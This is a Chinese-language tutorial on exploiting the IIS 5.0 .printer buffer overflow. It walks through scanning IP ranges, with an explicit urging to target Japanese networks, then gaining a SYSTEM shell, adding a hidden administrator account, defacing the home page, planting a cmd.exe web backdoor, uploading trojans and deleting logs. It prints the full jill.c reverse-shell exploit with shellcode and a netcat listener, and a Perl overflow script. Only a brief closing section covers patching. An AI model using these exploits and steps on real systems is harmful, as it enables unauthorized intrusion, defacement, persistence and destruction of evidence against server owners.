|
IIS5.0 .printer溢出漏洞攻击教程
最近比较流行IIS5.0 .printer漏洞的攻击,原因大概是目前许多公司使用IIS5.0来管理他们的网站。此漏洞是由eEye在今年发现,微软在5月份公布,因此这个漏洞的价值是很大的!本文通过实例告诉你如何通过这个漏洞来攻击一个网站。你必须亲身实践一下,才会有所体会!因此,请跟着以下步骤自己去寻找一台机器实践一下。在本文最后,讲述了如何避免这一漏洞。
我们如何发现目标?可以通过对目标网络的扫描,可以检查对方是否存在该漏洞。目前,我认为在扫描这一漏洞的软件中,X-scaner是比较出色的。你可以在http://www.xfocus.org下载最新版本,他支持扫描.printer漏洞。
我们打开X-scaner,输入目标主机IP,也可以输入IP段,这样你就可以横扫日本的IP段了!选择扫描IIS漏洞(如图一)。单击“开始扫描”。这样,如果对方主机存在该漏洞,就会在命令行界面中出现"Found
IIS remote .printer overflow bug!!!"的提示,这是你成功的一半!
 |

(图二) |
|
(图一) |
|
接下去,我们要使用工具去利用这一漏洞,目前这方面的软件很多。我这里使用的是iishack5.0,可以在本文所附的工具包中找到!我们来使用iishack5.0的远端打开端口功能,使用这一功能,就相当于你使用ncx在远方开了个99端口.(如图三)。这样,我们就得到了远程的system权限,来做个后门,顺便看看他的权限(如图四),顺利的添加了一个IUSRredpp用户,并把这个用户添加到了adminstrator组!
 |
 |
|
(图三) |
(图四) |
现在,我们已经完全能够控制这一台服务器了。现在,我们来看看他把主页放在哪里,先跑到他的主页上,单击右键看看特殊图片的文件名,然后通过dir c:\filename.gif
/s来搜索这个文件。如果c盘上没有,就到d盘。我这次发现的这台机器,它的主页放在c:\inetpub\wwwroot下,我们来黑掉他(我并不指示你这么做,特别是在国内主机上,千万不要做这种愚蠢的事情。)在命令行状态下:
C:\InetPub\wwwroot>dir default.*
驱动器 C 中的卷没有标签。
卷的序列号是 804A-1DCA
C:\InetPub\wwwroot 的目录
2001-04-10 15:26 5,053 default.asp
1 个文件 5,053 字节
0 个目录 143,301,632 可用字节
C:\InetPub\wwwroot>echo Hacked by Eastdark >> default.asp
这样,你就可以通过web访问到hacked by eastdark的字样!当然,如果是国外主机,我们想放上特殊的文件,这就需要用到net
use命令了。我们这样做(如图五),就是通过使用刚才那个IUSRredpp账号得到远程的文件管理权限,就可以将文件复制过去了!(需要注意的是,这是在自己的机器里完成的)。聪明的人一定想到了:如果我们把木马、命令行密码破解工具(通过重定向来得知密码)传过去,就可以更方便的做事情了。
 |
 |
|
图五 |
图六 |
现在,我们可以在远程cmd.exe,即telnet所获得的输入端,可以做许多事情,比如下载文件,可以通过把文安复制到web目录中。然后通过下载软件来下载。我们也可以通过把cmd.exe复制到inetpub的scripts目录下来做一个小后门,就可以通过IE来执行命令,如图六。
最后,我们把log文件删除,避免不必要的麻烦。可以通过删除winnt\system32\logfiles\下的*.log。
这样,我们就利用IIS5.0的.printer漏洞完全攻陷了这台主机。你可以试着去扫描一些日本的网段,然后用iishack5.0来创建一个shell.最后telnet上去。插上国旗!高呼中国万岁。
现在,我们来讲如何避免这一漏洞给你的服务器带来危害。由于此漏洞就是由于.printer后缀的脚本会输送给msw3prt.dll,只怪这个文件存在溢出漏洞。我们可以删除.printer映射。在控制面板->管理工具->Internet服务管理器->Web站点属性对话框中的“主目录”选项卡。单击配置,找到.printer映射,然后删除便可(如图七)

(图七)
或者你可以安全微软发布的补丁程序,地址:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29321
如果你的操作系统是linux或者unix,可以使用jill.c来对服务器进行攻击。
=========jill.c,我大致翻译了一下使用方法===========
/* IIS 5 remote .printer overflow. "jill.c" (don't ask).
*
* 作者: dark spyrit <dspyrit@beavuh.org>
*
* 向eEye发现这一漏洞表示敬意 - 做得好!
* halvar, neofight and the beavuh bitchez 万岁!
*
* this exploit overwrites an exception frame to control eip and get to
* our code.. the code then locates the pointer to our larger buffer and
* execs.
*
* 用法: jill <对方主机> <对方端口号> <你的主机> <你的端口号>
*
* 这段代码将反向生成一个执行shell.因此
* 你需要使用netcat在你的机器上监听一个端口
*
* netcat使用方法: nc -l -p <你的端口号> -vv
*
* I haven't slept in years.
*/
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
int main(int argc, char *argv[]){
/* the whole request rolled into one, pretty huh? carez. */
unsigned char sploit[]=
"\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
"\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81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0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
"\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a";
int s;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;
printf("iis5 remote .printer overflow.\n"
"dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n");
if (argc != 5){
printf("usage: %s <victimHost> <victimPort> <attackerHost>
<attackerPort>\n",argv[0]);
exit(1);
}
if ((ht = gethostbyname(argv[1])) == 0){
herror(argv[1]);
exit(1);
}
sin.sin_port = htons(atoi(argv[2]));
a_port = htons(atoi(argv[4]));
a_port^=0x9595;
sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);
if ((ht = gethostbyname(argv[3])) == 0){
herror(argv[3]);
exit(1);
}
a_host = *((unsigned long *)ht->h_addr);
a_host^=0x95959595;
sploit[441]= (a_port) & 0xff;
sploit[442]= (a_port >> 8) & 0xff;
sploit[446]= (a_host) & 0xff;
sploit[447]= (a_host >> 8) & 0xff;
sploit[448]= (a_host >> 16) & 0xff;
sploit[449]= (a_host >> 24) & 0xff;
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
printf("\nconnecting... \n");
if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
perror("connect");
exit(1);
}
write(s, sploit, strlen(sploit));
sleep (1);
close (s);
printf("sent... \nyou may need to send a carriage on your listener "
"if the shell doesn't appear.\nhave fun!\n");
exit(0);
}
============end===============
你也可以通过执行下面这个perl脚本来攻击,可以供你研究!
============iis5hack.pl===================
#!/usr/bin/perl
# Exploit By storm@stormdev.net
# Tested with sucess against Win2k IIS 5.0 + SP1
# Remote Buffer Overflow Test for Internet Printing Protocol=20
# This code was written after eEye brought this issue in BugTraq.
use Socket;
print "-- IPP - IIS 5.0 Vulnerability Test By Storm --\n\n";
if (not $ARGV[0]) {
print qq~
Usage: webexplt.pl <host>
~;=20
exit;}
$ip=3D$ARGV[0];
print "Sending Exploit Code to host: " . $ip . "\n\n";
my @results=3Dsendexplt("GET /NULL.printer HTTP/1.0\n" . "Host: =
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n");
print "Results:\n";
if (not @results) {
print "The Machine tested has the IPP Vulnerability!";
}
print @results;
sub sendexplt {
my ($pstr)=3D@_;=20
$target=3D inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); =20
$|=3D1;
print $pstr; =20
my @in=3D<S>;
select(STDOUT);
close(S);
return @in;
} else { die("Can't connect...\n"); }
}
==============end============================= |